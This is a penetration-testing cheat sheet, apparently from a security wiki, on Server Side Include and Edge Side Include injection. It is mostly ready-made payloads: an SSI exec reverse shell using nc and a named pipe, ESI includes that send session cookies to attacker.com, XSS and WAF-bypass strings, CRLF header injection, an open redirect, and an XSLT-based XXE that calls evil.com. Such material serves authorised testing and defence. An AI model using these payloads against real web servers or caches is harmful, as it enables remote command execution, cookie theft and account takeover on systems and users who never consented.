Links

Server Side Inclusion/Edge Side Inclusion Injection

Server Side Inclusion Basic Information

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology. For example, you might place a directive into an existing HTML page, such as:
<!--#echo var="DATE_LOCAL" -->
And, when the page is served, this fragment will be evaluated and replaced with its value:
Tuesday, 15-Jan-2013 19:28:54 EST
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from here).
You can infer the presence of SSI if the web application uses files with the extensions ** .shtml, .shtm or .stm**, but it's not only the case.
A typical SSI expression has the following format:
<!--#directive param="value" -->

Check

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
​
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
​
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
​
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
​

Edge Side Inclusion

There is a problem caching information or dynamic applications as part of the content may have varied for the next time the content is retrieved. This is what ESI is used form, to indicate using ESI tags the dynamic content that needs to be generated before sending the cache version. if an attacker is able to inject an ESI tag inside the cache content, then, he could be able to inject arbitrary content on the document before it's sent to the users.

ESI Detection

The following header in a response from the server means that the server is using ESI:
Surrogate-Control: content="ESI/1.0"
If you can't find this header, the server might be using ESI anyways. A blind exploitation approach can also be used as a request should arrive to the attackers server:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
​
// Blind detection
<esi:include src=http://attacker.com>
​
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
​
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
​
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
​
// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI exploitation

​GoSecure has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:
  • Includes: Supports the <esi:includes> directive
  • Vars: Supports the <esi:vars> directive. Useful for bypassing XSS Filters
  • Cookie: Document cookies are accessible to the ESI engine
  • Upstream Headers Required: Surrogate applications will not process ESI statements unless the upstream application provides the headers
  • Host Allowlist: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
Software
Includes
Vars
Cookies
Upstream Headers Required
Host Whitelist
Squid3
Yes
Yes
Yes
Yes
No
Varnish Cache
Yes
No
No
Yes
Yes
Fastly
Yes
No
No
No
Yes
Akamai ESI Test Server (ETS)
Yes
Yes
Yes
No
No
NodeJS esi
Yes
Yes
Yes
No
No
NodeJS nodesi
Yes
No
No
No
Optional

XSS

The following ESI directive will load an arbitrary file inside the response of the server
<esi:include src=http://attacker.com/xss.html>
The file http://attacker.com/xss.html may contain a XSS payload like <script>alert(1)</script>

Bypass client XSS protection

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
​
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • Remote steal cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Steal cookie HTTP_ONLY with XSS by reflecting it in the response:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
  • Full account takeover by reflecting cookies

Private Local File

Do not confuse this with a "Local File Inclusion":
<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

The following will add a Location header to the response
<!--esi $add_header('Location','http://attacker.com') -->

Add Header

  • Add header in forced request
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
​
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

CRLF in Add header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

This will send debug information included in the response:
<esi:debug/>

ESI + XSLT = XXE

It is also possible to add ** _eXtensible Stylesheet Language Transformations (XSLT)_ ** based ESI includes by specifying the xslt value to the dca parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform XML External Entity (XXE) attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
The XSLT file:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Check the XSLT page:

References

Brute-Force Detection List